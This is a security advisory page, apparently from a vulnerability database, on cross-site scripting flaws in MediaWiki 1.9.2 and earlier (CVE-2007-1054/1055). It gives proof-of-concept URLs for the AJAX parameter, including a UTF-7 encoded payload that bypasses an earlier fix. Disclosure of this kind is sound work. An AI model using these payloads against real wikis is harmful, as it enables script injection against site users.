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Home arrow SecurityAlert Database

Arrow  Topic :

MediaWiki Cross-site Scripting


Arrow  SecurityAlert : 2274
Arrow  CVE : CVE-2007-1055
Arrow  CVE : CVE-2007-1054
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Moshe BA
Arrow  Published : 23.02.2007

Arrow  Affected Software : MediaWiki 1.9.2 (latest) and below.



Arrow  Advisory Content :  

MediaWiki Cross-site Scripting

Vulnerabilities.

Date:
18/02/2007

Vendor:
MediaWiki

Vulnerable versions:
MediaWiki 1.9.2 (latest) and below.

Description:
MediaWiki v1.8.2 and below are vulnerable to plain Cross-site scripting
attack by expliting the experimental AJAX features, if enabled (default).
This XSS was fixed in post 1.8.2 versions (1.8.3, 1.9.0rc2, 1.9.0, 1.9.1,
1.9.2). This fix can be bypassed by encoding the XSS exploit to UTF-7.
note: browsers encoding auto-detection has to be enabled for successful
explitation.

Proof-of-concept:
http://[Host]/wiki/index.php?action=ajax&rs=[XSS]
UTF-7 XSS in post 1.8.2 versions.

Examples:
v1.8.2 and below:
http://[Host]/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('htt
p://www.bugsec.com')%3C/script%3E
v1.8.3 - v1.9.2
http://[Host]/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open(
'http://www.bugsec.com');+ADw-/SCRIPT+AD4-
http://[Host]/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%
50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%
2D%2F%53%43%52%49%50%54%2B%41%44%34%2D (URL Encoded)

Credit:
Moshe BA from BugSec
Tel:+972-3-9622655
Email: Info [^A-t] BugSec *D.O.T* com
BugSec LTD. - www.BugSec.com
http://www.bugsec.com/articles.php?Security=24




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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